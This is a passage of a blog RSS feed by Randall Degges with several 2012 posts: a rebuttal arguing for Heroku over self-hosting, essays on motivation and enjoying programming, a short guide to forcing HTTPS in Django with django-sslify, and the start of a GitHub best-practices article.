&lt;li>He wants to instantly rollback to a previous release of his code base?&lt;/li>
&lt;li>He wants to add another server to handle incoming HTTP requests?&lt;/li>
&lt;li>He needs to spin up a database read slave to handle a high amount of read
requests?&lt;/li>
&lt;li>His load balancer fails?&lt;/li>
&lt;li>His Fabric script stops working because he renamed his project or
reorganizes his application directory tree?&lt;/li>
&lt;li>Or one of an infinite amount of other possible problems?&lt;/li>
&lt;/ul>
&lt;p>I&amp;rsquo;ll tell you what happens: &lt;em>his shit stops working&lt;/em>.&lt;/p>
&lt;p>Yah&amp;ndash;it isn&amp;rsquo;t very hard to spin up some simple infrastructure services using
Chef&amp;ndash;pretty much anyone with a couple hours of free time can figure that out.
The real issue is writing and designing a platform robust enough to not only
account for hardware / software failure, but also to provide you (the
developer) with enough security that you can effectively sleep easily knowing
that your service will be running when you wake up in the morning.&lt;/p>
&lt;p>If I had to bet money, I&amp;rsquo;d bet on chaos every single time. Why? Because
software is complex. Hardware is complex. Spending a few hours bootstrapping
a simple one or two server setup is nowhere near good enough to run services
that people actually use.&lt;/p>
&lt;p>Sure, David may be able to get away with it&amp;ndash;for a while. But unless he plans
on dedicating a significant portion of his time over the next couple of years
to actually building a robust service platform&amp;ndash;I believe it&amp;rsquo;s safe to say that
David didn&amp;rsquo;t successfully replace the cloud with his work.&lt;/p>
&lt;p>If anything, he simply localized his problems.&lt;/p>
&lt;h2 id="lets-talk-about-monitoring">Let&amp;rsquo;s Talk About Monitoring&lt;/h2>
&lt;p>One of the big points that David mentions in his
&lt;a href="http://justcramer.com/2012/06/02/the-cloud-is-not-for-you/" title="The Cloud is Not For You">article&lt;/a> is that he had no way of monitoring his
dyno and application performance, and couldn&amp;rsquo;t figure out why so many weird
things were happening:&lt;/p>
&lt;blockquote>
&lt;p>Then shit started to hit the fan.&lt;/p>
&lt;p>In no specific order, we started finding numerous problems with various
systems:&lt;/p>
&lt;ul>
&lt;li>Redis takes too much memory to reliably queue Sentry jobs.&lt;/li>
&lt;li>Dynos are either memory or CPU bound, but we have no idea how or why.&lt;/li>
&lt;li>The Postgres server can&amp;rsquo;t handle any reasonable level of concurrency.&lt;/li>
&lt;li>We randomly have to spin up 20 dynos to get anywhere in the queue
backlog.&lt;/li>
&lt;/ul>
&lt;/blockquote>
&lt;p>&lt;img src="https://rdegges.com/2012/heroku-isnt-for-idiots/look-of-disapproval.png" alt="Look of Disapproval" title="Look of Disapproval">
&lt;/p>
&lt;p>Really David? &lt;strong>REALLY?&lt;/strong>&lt;/p>
&lt;p>Not only is there no data here to substantiate any of these claims&amp;ndash;but
monitoring these things is a piece of cake.&lt;/p>
&lt;p>One of Heroku&amp;rsquo;s add-ons is meant specifically to diagnose this sort of issue:
&lt;a href="https://addons.heroku.com/newrelic" title="New Relic">New Relic&lt;/a>. If you&amp;rsquo;ve never heard of New Relic, you&amp;rsquo;re missing out. It&amp;rsquo;s
the greatest software monitoring system ever built.&lt;/p>
&lt;p>Here&amp;rsquo;s a screen shot of the dyno page of my New Relic panel. What you see here
shows the average memory usage of my dynos, as well as the amount of dynos I
have running, and any backlog (HTTP requests that have been waiting in a buffer
because I don&amp;rsquo;t have enough dynos to concurrently process them).&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/heroku-isnt-for-idiots/newrelic-dynos.png" alt="New Relic Dynos" title="New Relic Dynos">
&lt;/p>
&lt;p>Now let&amp;rsquo;s take a look at my web transactions page:&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/heroku-isnt-for-idiots/newrelic-web-transactions.png" alt="New Relic Web Transactions" title="New Relic Web Transactions">
&lt;/p>
&lt;p>I can easily drill down into any view in my Django site, and see exactly what
is happening. I can see (among other things):&lt;/p>
&lt;ul>
&lt;li>How much time it took to process.&lt;/li>
&lt;li>How much time was spent connecting to PostgreSQL.&lt;/li>
&lt;li>Which queries were ran, and how long each of them took.&lt;/li>
&lt;li>How much time was spent running various Python functions.&lt;/li>
&lt;li>How much time was spent hitting external services (memcache, Redis,
whatever).&lt;/li>
&lt;li>And tons of other things.&lt;/li>
&lt;/ul>
&lt;p>Hell, I can even view specific stats on my celery workers:&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/heroku-isnt-for-idiots/newrelic-background-tasks.png" alt="New Relic Background Tasks" title="New Relic Background Tasks">
&lt;/p>
&lt;p>I&amp;rsquo;m not even going to bother showing you the database tab, because I think you
already have a good idea of where I&amp;rsquo;m going with this: &lt;strong>Heroku isn&amp;rsquo;t the
problem. You are.&lt;/strong>&lt;/p>
&lt;h2 id="lets-talk-about-bad-ideas">Let&amp;rsquo;s Talk About Bad Ideas&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2012/heroku-isnt-for-idiots/youre-gonna-have-a-bad-time.png" alt="You&amp;amp;rsquo;re Gonna Have a Bad Time" title="You&amp;#39;re Gonna Have a Bad Time">
&lt;/p>
&lt;p>First of all, Sentry is an awesome application. I even use it myself for
monitoring multiple services. And in the off-chance you&amp;rsquo;re not familiar with
what Sentry does&amp;ndash;it essentially provides application monitoring / error
reporting / error searching for your applications.&lt;/p>
&lt;p>However, what does it say (to your customers) when you tell them that:&lt;/p>
&lt;ul>
&lt;li>Your monitoring solution is hosted on cheap rented hardware.&lt;/li>
&lt;li>It takes 24 hours to spin up a new box in the event that one dies.&lt;/li>
&lt;li>You have no fail over plan.&lt;/li>
&lt;li>You don&amp;rsquo;t spend the time to debug your application issues, and instead
blame them on vague causes you haven&amp;rsquo;t verified.&lt;/li>
&lt;li>You openly declare that adding resources on demand is useless.&lt;/li>
&lt;/ul>
&lt;p>All in all, it just seems like a bad idea.&lt;/p>
&lt;h2 id="on-the-shoulders-of-giants">On the Shoulders of Giants&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2012/heroku-isnt-for-idiots/giant-sketch.png" alt="Giant Sketch" title="Giant Sketch">
&lt;/p>
&lt;p>To be totally open and honest (I&amp;rsquo;ve written about this a lot in the past)&amp;ndash;I&amp;rsquo;ve
done the same thing before. I&amp;rsquo;ve built my own hardware deployment / backup /
redundant platform.&lt;/p>
&lt;p>I&amp;rsquo;ve spent time learning Ruby and Puppet. I&amp;rsquo;ve spent time provisioning servers
remotely using a combination of Fabric, Jenkins, and Puppet. I&amp;rsquo;ve dealt with
the complexities and hardships of making a reliable auto-deployment system with
rollbacks enabled. I&amp;rsquo;ve integrated monit, cacti, nagios, and munin monitoring.&lt;/p>
&lt;p>At the time, I thought it was an awesome idea. After I jumped over the initial
learning curve, it all seemed like a piece of cake. &lt;em>This is the way everyone
should do it! It&amp;rsquo;s so cheap! It&amp;rsquo;s really awesome!&lt;/em> But after a while,
things changed.&lt;/p>
&lt;p>I found myself spending tons of time every month dealing with:&lt;/p>
&lt;ul>
&lt;li>Disaster recovery.&lt;/li>
&lt;li>Building redundant services.&lt;/li>
&lt;li>Setting up heartbeat to handle fail over.&lt;/li>
&lt;li>Tweaking infrastructure build scripts to add new options to RabbitMQ,
PostgreSQL, and other services.&lt;/li>
&lt;li>&amp;hellip;&lt;/li>
&lt;/ul>
&lt;p>After a few months passed, I looked back and said to myself: &lt;em>What the hell?&lt;/em>.
I went through so much trouble and time to build out my infrastructure and add
in support for backups, recovery, etc.&amp;ndash;that I ended up blowing enormous
amounts of time on tasks that have all already been solved by people far
smarter than myself.&lt;/p>
&lt;p>To make things even more hilarious&amp;ndash;after testing Heroku out initially, and
migrating one of my large work applications over to it&amp;ndash;our hosting costs
dropped dramatically. After analyzing the costs, I found that:&lt;/p>
&lt;ul>
&lt;li>I saved hundreds of hours of engineering time every month.&lt;/li>
&lt;li>I didn&amp;rsquo;t have to run redundant services for everything (no redundant load
balancers, backup web servers, backup workers, backup databases, etc.)
since Heroku fully manages these things.&lt;/li>
&lt;li>I didn&amp;rsquo;t have the overhead of running my own monitoring servers / software.&lt;/li>
&lt;li>I could easily add web servers / workers to the pool when needed.&lt;/li>
&lt;li>I could easily scale my database by adding read slaves, duplicate masters,
and any other combination of hardware to support increased I/O needs.&lt;/li>
&lt;li>My deployment system became instant, and rolling back releases was equally
easy.&lt;/li>
&lt;li>All systems administration tasks became a one liner.&lt;/li>
&lt;/ul>
&lt;p>While most of our cost savings came in the form of not having to run redundant
servers&amp;ndash;it was still an enormous amount.&lt;/p>
&lt;p>Through this experience, I learned:&lt;/p>
&lt;ul>
&lt;li>Heroku helps you build your applications more effectively by forcing you do
to things the right way.&lt;/li>
&lt;li>It is often cheaper to run on top of a managed cloud platform (like Heroku)
as opposed to handling backups / redundancy yourself&amp;ndash;as you have to manage
and deal with a lot more servers and problems.&lt;/li>
&lt;li>A lot of the common myths about &amp;lsquo;cloud problems&amp;rsquo; are just that&amp;ndash;myths.&lt;/li>
&lt;li>Outsource things you can&amp;rsquo;t be the best at. I&amp;rsquo;m not building a deployment
platform. I&amp;rsquo;m building software. I&amp;rsquo;d rather leave the deployment platform
to someone else who can do it much better than me.&lt;/li>
&lt;/ul>
&lt;h2 id="takeaways">Takeaways&lt;/h2>
&lt;p>I hope you had fun reading this article. I wrote it with humorous intent&amp;ndash;not
to be taken seriously or offensively by anyone; I have a lot of respect for
David Cramer.&lt;/p>
&lt;p>The main point of this article is to combat the myth that &amp;ldquo;the cloud is not for
you&amp;rdquo;. The cloud IS for you. Platforms like Heroku allow you to easily develop
and scale your web services in a way that completely changes development.&lt;/p>
&lt;p>Instead of spending your time worrying about administration issues, you can
code to your heart&amp;rsquo;s content without worrying about stability, scaling issues,
or anything else.&lt;/p>
&lt;p>The next time you write a web service, give &lt;a href="http://www.heroku.com/" title="Heroku">Heroku&lt;/a> a try; I promise you
won&amp;rsquo;t be disappointed.&lt;/p>
&lt;p>&lt;strong>UPDATE&lt;/strong>: In response to this (and many other related articles I&amp;rsquo;ve written)
I wrote a book on Heroku, &lt;a href="http://www.theherokuhackersguide.com/" title="The Heroku Hacker's Guide">The Heroku Hacker&amp;rsquo;s Guide&lt;/a>. If you&amp;rsquo;re at all
interested in deploying web applications on Heroku, you should check it out.&lt;/p></description></item><item><title>How to Have Fun Programming</title><link>https://rdegges.com/2012/how-to-have-fun-programming/</link><pubDate>Sat, 02 Jun 2012 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/how-to-have-fun-programming/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/how-to-have-fun-programming/kenpachi-sketch.png" alt="Kenpachi Sketch" title="Kenpachi Sketch">
&lt;/p>
&lt;p>I may not be a great programmer, but I have a ton of fun programming. As a
self-taught hacker, I&amp;rsquo;ve always enjoyed programming to a great extent&amp;ndash;but
everyone has their ups and downs. These are simply my reflections about what
makes me happy while programming, and serves as reminder to myself why I should
keep pushing onwards!&lt;/p>
&lt;h2 id="live-for-the-challenge">Live for the Challenge&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2012/how-to-have-fun-programming/byakuya-sketch.png" alt="Byakuya Sketch" title="Byakuya Sketch">
&lt;/p>
&lt;p>Writing software is difficult for so many reasons:&lt;/p>
&lt;ul>
&lt;li>It requires a great deal of concentration.&lt;/li>
&lt;li>It has lots of complexity.&lt;/li>
&lt;li>It requires you to be in a certain emotional state to produce quality work.&lt;/li>
&lt;li>It requires a great deal of prerequisite knowledge to do even the simplest
of tasks.&lt;/li>
&lt;/ul>
&lt;p>One of the things I&amp;rsquo;ve come to understand over the years as I&amp;rsquo;ve learned more
and more about coding is that if I&amp;rsquo;m not working on something that I find
challenging, I have an extremely difficult time motivating myself to complete
the project.&lt;/p>
&lt;p>I find that I have the most fun when I feel like I&amp;rsquo;m accomplishing impossibly
difficult tasks, building software that is not only critically useful to me
(and others), but that requires a great deal of effort to produce. There are
certainly exceptions to this rule (building simple software if it is needed)&amp;ndash;
but in general, only when I&amp;rsquo;m working on a challenging project can I really
utilize my skills.&lt;/p>
&lt;h2 id="have-a-warrior-mindset">Have a Warrior Mindset&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2012/how-to-have-fun-programming/kenpachi-alternate-sketch.png" alt="Kenpachi Alternate Sketch" title="Kenpachi Alternate Sketch">
&lt;/p>
&lt;p>The way you approach challenges makes an enormous difference in the quality of
your work. If you take a project lightly, and don&amp;rsquo;t fully commit yourself to
working on it&amp;ndash;you will always produce low quality software.&lt;/p>
&lt;p>A mental hack I&amp;rsquo;ve learned to make heavy use of over the past two years is to
put myself into a warrior mindset. As someone obsessed with Samurai culture, I
find the idea of fully committing yourself to a task, and staking your life on
it, a very powerful concept.&lt;/p>
&lt;p>The first step in achieving a warrior mindset is to understand that if you
commit to something, you will do it&amp;ndash;or you will die. There is no &amp;ldquo;try&amp;rdquo;. The
most practical way to apply this mindset to your day-to-day programming life is
to be very selective about the projects you work on.&lt;/p>
&lt;p>Is the project you&amp;rsquo;re about to start working on something you&amp;rsquo;d die for? If
not, then it isn&amp;rsquo;t worth doing.&lt;/p>
&lt;p>The second step in practicing the warrior mindset is to battle your code. If
you&amp;rsquo;re working on a difficult problem, and can&amp;rsquo;t find a solution&amp;ndash;find a way
to persevere. &lt;em>Don&amp;rsquo;t quit.&lt;/em> No matter how great the challenge, push through
and do whatever it takes to win.&lt;/p>
&lt;p>The sense of accomplishment and achievement you get after completing an
incredibly difficult task is overwhelming. It&amp;rsquo;s certainly one of the greatest
natural &amp;ldquo;highs&amp;rdquo; you can get.&lt;/p>
&lt;h2 id="share-your-work">Share Your Work&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2012/how-to-have-fun-programming/kneeling-samurai-sketch.png" alt="Kneeling Samurai Sketch" title="Kneeling Samurai Sketch">
&lt;/p>
&lt;p>One of the most powerful motivators in software is open source. Writing code
in the open is incredibly fun.&lt;/p>
&lt;p>Among other things, building and contributing to open source software:&lt;/p>
&lt;ul>
&lt;li>Motivates you to produce high-quality work.&lt;/li>
&lt;li>Encourages you to collaborate with others.&lt;/li>
&lt;li>Helps you grow as a developer, by exposing your weaknesses and learning
from them.&lt;/li>
&lt;li>Builds a reputation for yourself amongst other programmers, and helps you
make friends.&lt;/li>
&lt;/ul>
&lt;p>Aside from the obvious benefits&amp;ndash;I get an enormous rush from publishing
software online. For me, I get a giant sense of satisfaction from solving a
problem using code&amp;ndash;it&amp;rsquo;s the feeling that I&amp;rsquo;ve solved a problem that I have,
and will never have to solve again.&lt;/p>
&lt;p>Publishing my work brings a sense of &amp;lsquo;finality&amp;rsquo; to the problem, and makes me
feel like I&amp;rsquo;ve contributed something useful to the world, regardless of how
many people do (or don&amp;rsquo;t) use my creations.&lt;/p>
&lt;h2 id="dont-conform">Don&amp;rsquo;t Conform&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2012/how-to-have-fun-programming/kenpachi-back-sketch.png" alt="Kenpachi Back Sketch" title="Kenpachi Back Sketch">
&lt;/p>
&lt;p>The software industry can be harsh&amp;ndash;it&amp;rsquo;s filled with brilliant minds, and large
egos. Unfortunately, this makes it very difficult to discover truth in what you
read and hear.&lt;/p>
&lt;p>All too often you&amp;rsquo;ll hear people say &lt;em>this technology sucks&lt;/em>, or &lt;em>use this
instead of that&lt;/em>, and it can be easy to simply agree with a person based on
their status&amp;ndash;the truth, however, may be completely opposite.&lt;/p>
&lt;p>Programming is meant to be fun. Writing software is a very personal, and very
intimate creative experience. Instead of readily agreeing with your friends,
coworkers, or random blog authors&amp;ndash;experiment with whatever piques your
interest.&lt;/p>
&lt;p>Just because someone tells you that &lt;em>the cloud isn&amp;rsquo;t for you&lt;/em>, it doesn&amp;rsquo;t mean
you should listen!&lt;/p>
&lt;p>No matter what the general consensus is&amp;ndash;never conform. Make your own
decisions, create your own path. Find out what you enjoy by trying a wide
variety of things, and always try to remain optimistic.&lt;/p>
&lt;h2 id="read">Read&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2012/how-to-have-fun-programming/ichigo-hollow-sketch.png" alt="Ichigo Hollow Sketch" title="Ichigo Hollow Sketch">
&lt;/p>
&lt;p>Technical reading is incredibly underrated. Whenever you have the chance, you
should spend time reading technical books.&lt;/p>
&lt;p>Not only does reading technical books help you gain a better understanding of
your field&amp;ndash;but more importantly, reading introduces you great hackers. There is
absolutely no substitude for reading a good technical book&amp;ndash;you&amp;rsquo;ll pick up:&lt;/p>
&lt;ul>
&lt;li>Useful technical information.&lt;/li>
&lt;li>The mindset of the author.&lt;/li>
&lt;li>How the author thinks, works, reasons.&lt;/li>
&lt;li>Best practices.&lt;/li>
&lt;li>Multiple ways of doing things (many books are great at this).&lt;/li>
&lt;li>A better understanding of the underlying technology you use, and how you can
use it better.&lt;/li>
&lt;/ul>
&lt;p>I&amp;rsquo;m constantly surprised by how little time my peers spending reading technical
books. To me, they&amp;rsquo;re an extraordinary motivation tool.&lt;/p>
&lt;p>A big part of the fun in programming (for me) is learning new things&amp;ndash;and one of
the best ways to learn new things is to read and gain perspective.&lt;/p>
&lt;h2 id="be-mindful">Be Mindful&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2012/how-to-have-fun-programming/ichigo-hollow-screaming.png" alt="Ichigo Hollow Screaming" title="Ichigo Hollow Screaming">
&lt;/p>
&lt;p>As a large part of writing software is mental, consciously analyzing your
thoughts and actions is incredibly important.&lt;/p>
&lt;p>Being mindful of what you&amp;rsquo;re doing, why you&amp;rsquo;re doing it, and generally keeping
the &lt;em>big picture&lt;/em> in mind will help you stay motivated, have fun, and truly
enjoy your work. It&amp;rsquo;s far too easy to get swept away in details of day-to-day
implementation&amp;ndash;only when you take a step back, and analyze your progress, can
you truly take pride in your work (and enjoy it).&lt;/p>
&lt;p>No matter how frustrated, upset, or angry you are with your code&amp;ndash;if you want to
immediately feel better and be able to relax&amp;ndash;think of the people you&amp;rsquo;re writing
your software for. When I&amp;rsquo;m feeling unmotivated, all it takes is a few minutes
of meditation on my purpose to get my hyped up inside, and propel me forward.&lt;/p>
&lt;h2 id="talk-with-other-hackers">Talk With Other Hackers&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2012/how-to-have-fun-programming/renji-sketch.png" alt="Renji Sketch" title="Renji Sketch">
&lt;/p>
&lt;p>No matter where you are in your programming career, you will have ups and
downs. One of the best ways to continuously motivate and push yourself to new
levels of skill is to hang out with other hackers like yourself.&lt;/p>
&lt;p>Surround yourself with others who have an extreme drive to learn new things and
build awesome products&amp;ndash;and their contagion will rub off on you.  Having a
group of supportive, like-minded friends can make an enormous difference in
your personal development, happiness, and day-to-day satisfaction.&lt;/p>
&lt;p>In the off chance that you&amp;rsquo;ve read this far, and would like to hang out with
some amazing hackers&amp;ndash;you&amp;rsquo;re formally invited to join &lt;code>#heapify&lt;/code> on
&lt;code>irc.oftc.net&lt;/code> (a public IRC channel). IRC has played a crucial role in my
life, and many of the programmers I met years ago on IRC I&amp;rsquo;m still great
friends with today. If you&amp;rsquo;d like to join a supportive group of enthusiastic
developers, please drop by and say hi :)&lt;/p></description></item><item><title>Django and SSL</title><link>https://rdegges.com/2012/django-and-ssl/</link><pubDate>Thu, 31 May 2012 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/django-and-ssl/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/django-and-ssl/hooded-figure-sketch.png" alt="Hooded Figure Sketch" title="Hooded Figure Sketch">
&lt;/p>
&lt;p>I&amp;rsquo;m a huge proponent of &lt;a href="http://www.codinghorror.com/blog/2012/02/should-all-web-traffic-be-encrypted.html" title="Encrypt Everything">encrypting everything&lt;/a>. Why make it easy for the
government (or other nasty organizations) to snoop on your personal data?  As
such, over the past several months I&amp;rsquo;ve been slowly migrating all my Django
sites to SSL. Along the way, I realized how horrifically underserved the SSL
library market actually is for Django.&lt;/p>
&lt;p>A quick search for &amp;lsquo;Django + SSL&amp;rsquo; on google returned nothing useful. I
couldn&amp;rsquo;t find any libraries or tools that made &amp;lsquo;forcing HTTPs&amp;rsquo; a one liner.
The only useful thing I was able to dig up after a bit of hunting was this
&lt;a href="http://stackoverflow.com/questions/8436666/how-to-make-python-on-heroku-https-only" title="Django + SSL">StackOverflow&lt;/a> post that contains some custom middleware code that forces
HTTPs redirection.&lt;/p>
&lt;p>After a bit of unit testing (and some &lt;a href="http://pypi.python.org/pypi" title="PyPI">PyPI&lt;/a> action), I published
&lt;a href="https://github.com/rdegges/django-sslify" title="django-sslify">django-sslify&lt;/a>&amp;ndash;a simple Django app that forces all SSL across your Django
site.&lt;/p>
&lt;p>Setting up &lt;code>django-sslify&lt;/code> is a piece of cake. Essentially&amp;ndash;all you have to do
is install &lt;code>django-sslify&lt;/code> (duh!) and then modify your Django &lt;code>settings.py&lt;/code>
file like so:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># ...&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">MIDDLEWARE_CLASSES&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;sslify.middleware.SSLifyMiddleware&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># ...&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># ...&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Once you&amp;rsquo;ve done that, all HTTP requests to your site will be permanently
redirected to their HTTPs equivalents, forcing SSL encryption.&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: If you&amp;rsquo;re using &lt;a href="http://www.heroku.com/" title="Heroku">Heroku&lt;/a> to host your applications (like I am), be
sure to use their new &lt;a href="https://devcenter.heroku.com/articles/ssl-endpoint" title="SSL Endpoint">SSL endpoint&lt;/a> add-on. The new SSL endpoint add-on
makes using SSL as easy as possible.&lt;/p></description></item><item><title>Automation as Motivation</title><link>https://rdegges.com/2012/automation-as-motivation/</link><pubDate>Mon, 21 May 2012 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/automation-as-motivation/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/automation-as-motivation/robot-sketch.png" alt="Robot Sketch" title="Robot Sketch">
&lt;/p>
&lt;p>For the past two weeks, I&amp;rsquo;ve been having some serious programming motivation
issues. Despite the fact that I know what&amp;rsquo;s causing the motivation issues, I
haven&amp;rsquo;t been able to propel myself out of this mini-slump like I normally do.&lt;/p>
&lt;p>Last night I was chatting with a good friend and business partner about the
issue, when my friend started discussing a new business he&amp;rsquo;s been working on.
While I&amp;rsquo;m unable to quote his exact words here (due to lack of certain memory),
at some point he said something along the lines of &amp;ldquo;What I really want to do is
quickly build everything, get it to a workable state, then let it just run
itself.&amp;rdquo;&lt;/p>
&lt;p>Instantly, the motivation returned.&lt;/p>
&lt;p>For as long as I can remember, I&amp;rsquo;ve had a very specific idea of perfection.
Perfection in my mind is complete automation. When I build software, I do so
with the intention that when I&amp;rsquo;m done working on it, it should be able to run
and manage itself indefinitely, without any human intervention.&lt;/p>
&lt;p>The real beauty of software, in my mind, is that it can last forever.&lt;/p>
&lt;p>Imagine a world where every problem was solved by some sort of software or
hardware solution. Now, imagine if each of these small, independent solutions
were engineered in such a way that they required no human intervention, and
could simply carry on working indefinitely.&lt;/p>
&lt;p>How awesome would that be?&lt;/p>
&lt;p>The very idea that something can be solved &amp;ldquo;forever&amp;rdquo; seems extremely seductive
to me. What if I never had to do laundry again because there was a
sustainable, everlasting solution to that issue? What if I never had to
implement a user profile on a website because there was some global service
which permanently solved the problem?&lt;/p>
&lt;p>Regardless of how small (or large) a problem is, there should be one simple
solution that solves it indefinitely.&lt;/p>
&lt;p>Since I got off the phone with my friend, I&amp;rsquo;ve been absolutely consumed by the
idea of fully automating some of the projects I&amp;rsquo;ve been working on. I find
that over time as I work on things, I end up burying myself in the little
details&amp;ndash;and forget about the big picture and goals. It is so easy to get
carried away with feature X, or ticket Y that you completely lose sight of your
ambitions.&lt;/p>
&lt;p>Next time I fall into a slump, I&amp;rsquo;m going to remember my overall goal of perfect
automation, and get back to work.&lt;/p></description></item><item><title>Never Stop Hacking</title><link>https://rdegges.com/2012/never-stop-hacking/</link><pubDate>Mon, 16 Apr 2012 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/never-stop-hacking/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/never-stop-hacking/grim-reaper-sketch.png" alt="Grim Reaper Sketch" title="Grim Reaper Sketch">
&lt;/p>
&lt;p>This is a quick post, something that I have to get out of my mind and onto
paper (err, the internets!).&lt;/p>
&lt;p>I was thinking earlier today about what makes me happy&amp;ndash;really, truly happy. I
had just stopped coding, and was feeling frustrated that my builds weren&amp;rsquo;t
working like I had hoped. I decided to go onto &lt;a href="irc://irc.oftc.net/#heapify" title="#heapify">IRC&lt;/a> for some
procrastination, and ended up chatting with a really good friend.&lt;/p>
&lt;p>My friend (who will remain unnamed), is an extremely smart fellow. One of the
smartest I&amp;rsquo;ve ever had the pleasure of talking to. He&amp;rsquo;s a fucking amazing
programmer, always positive, and constantly learning new things. As we were
talking about programming, I started to feel better. I started to feel
excited. My frustration began to melt away, and all that was left was desire.&lt;/p>
&lt;p>The desire to learn new things. The desire to build something that has never
before been built. The desire to hunt down problems&amp;ndash;and then solve them.&lt;/p>
&lt;p>It was at this moment I realized something. Something which, to me, is an
incredibly powerful revelation. Often times, I find myself hunting for
solutions. I find myself desperately trying to figure out what I should do
about X, and how to optimize Y. I find myself searching for solutions to
problems, hoping to get them out of the way as quickly as possible so that I
can move onto the next thing, the next chore, the next item on my TODO list.
It was in this moment that it all became clear to me&amp;ndash;&lt;/p>
&lt;p>I enjoy the problems.  I &lt;em>crave&lt;/em> them.&lt;/p>
&lt;p>The more I focus on solutions, the more I treat them as a chore, as a task that
needs to be finished&amp;ndash;the more stressed and frustrated I become. It is only
when I focus on the &lt;em>experience&lt;/em>, the act of learning something new and hunting
down problems, that I feel really, &lt;em>truly&lt;/em> happy.&lt;/p>
&lt;p>As programmers, we&amp;rsquo;re given a unique gift: the ability to spend a majority of
our time learning things and solving problems. The next time I&amp;rsquo;m feeling
stressed, frustrated, or even angry&amp;ndash;I&amp;rsquo;m going to remember that it&amp;rsquo;s the
process I really enjoy&amp;ndash;that the process of learning new things is what really
motivates me, and makes me love what I do so much.&lt;/p>
&lt;p>&lt;strong>Never stop hacking.&lt;/strong>&lt;/p></description></item><item><title>Successful GitHub Development</title><link>https://rdegges.com/2012/successful-github-development/</link><pubDate>Sat, 14 Apr 2012 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/successful-github-development/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/successful-github-development/octocat.png" alt="Octocat" title="Octocat">
&lt;/p>
&lt;p>I&amp;rsquo;ve been using GitHub for several years now, and it has drastically changed my
development work flow, mindset, and collaboration efforts. Over the time I&amp;rsquo;ve
used GitHub, I&amp;rsquo;ve contributed to many projects, started many of my own, and had
the opportunity to interact with a wide range of developers (from novices to
professionals).&lt;/p>
&lt;p>This article is my attempt to explain GitHub best practices that you can
practically apply to your everyday coding, which will make you:&lt;/p>
&lt;ul>
&lt;li>A better programmer.&lt;/li>
&lt;li>A better collaborator.&lt;/li>
&lt;li>A more reputable programmer (that everyone likes).&lt;/li>
&lt;/ul>
&lt;p>For clarity, this article is broken up into two separate components,
&lt;strong>maintainers&lt;/strong> and &lt;strong>contributors&lt;/strong>.&lt;/p>
&lt;p>The &lt;strong>maintainers&lt;/strong> section explains best practices for running your own open
source project on GitHub. If you&amp;rsquo;ve ever published your own library, you
should check it out.&lt;/p>
&lt;p>The &lt;strong>contributors&lt;/strong> section explains how to best contribute to already
existing open source projects.&lt;/p>
&lt;p>I highly recommend that regardless of whether you primarily maintain or
contribute, you read both sections thoroughly. Open source development is a
staple of modern society, and in order to ensure that the open source ecosystem
remains friendly, accessible, and effective&amp;ndash;we (as developers) need to do all
we can to promote best practices and effective collaboration.&lt;/p>
&lt;h2 id="maintainers">Maintainers&lt;/h2>
&lt;p>Maintaining open source projects is hard&amp;ndash;it requires time, energy, and good
communication. The principles outlined here should be applied to all open
source projects (large and small), as they will ensure that your life (and the
life of your contributors) is as simple as possible.&lt;/p>
&lt;p>All of the practices mentioned below &lt;strong>only apply to projects once they&amp;rsquo;ve made
an initial release&lt;/strong>. If you are still working on implementing the basic
functionality of your software&amp;ndash;you may choose to ignore any of these rules,
and work in whatever way is most effective for you personally.&lt;/p>
&lt;p>I&amp;rsquo;ve tried to list these rules in order of importance, so as a project
maintainer you can use this list as something of a checklist for new projects,
going through and crossing off each requirement until your project is fully
compliant.&lt;/p>
&lt;h3 id="1-write-official-documentation">1. Write Official Documentation&lt;/h3>
&lt;p>The first requirement for any open source project is that it has good
documentation for prospective users. There is absolutely no excuse for not
having good documentation.&lt;/p>
&lt;p>Your official documentation should (at a minimum) include:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>What your project&amp;rsquo;s purpose is, and who is its intended audience.&lt;/strong> For
example, if your project provides a Python library for controlling the Mars
Rover spacecraft, you should explain that your project is meant to be used
by NASA scientists on the rover project, and that you need at least a PhD
in Physics to get started.&lt;/p>
&lt;/li>
&lt;li>
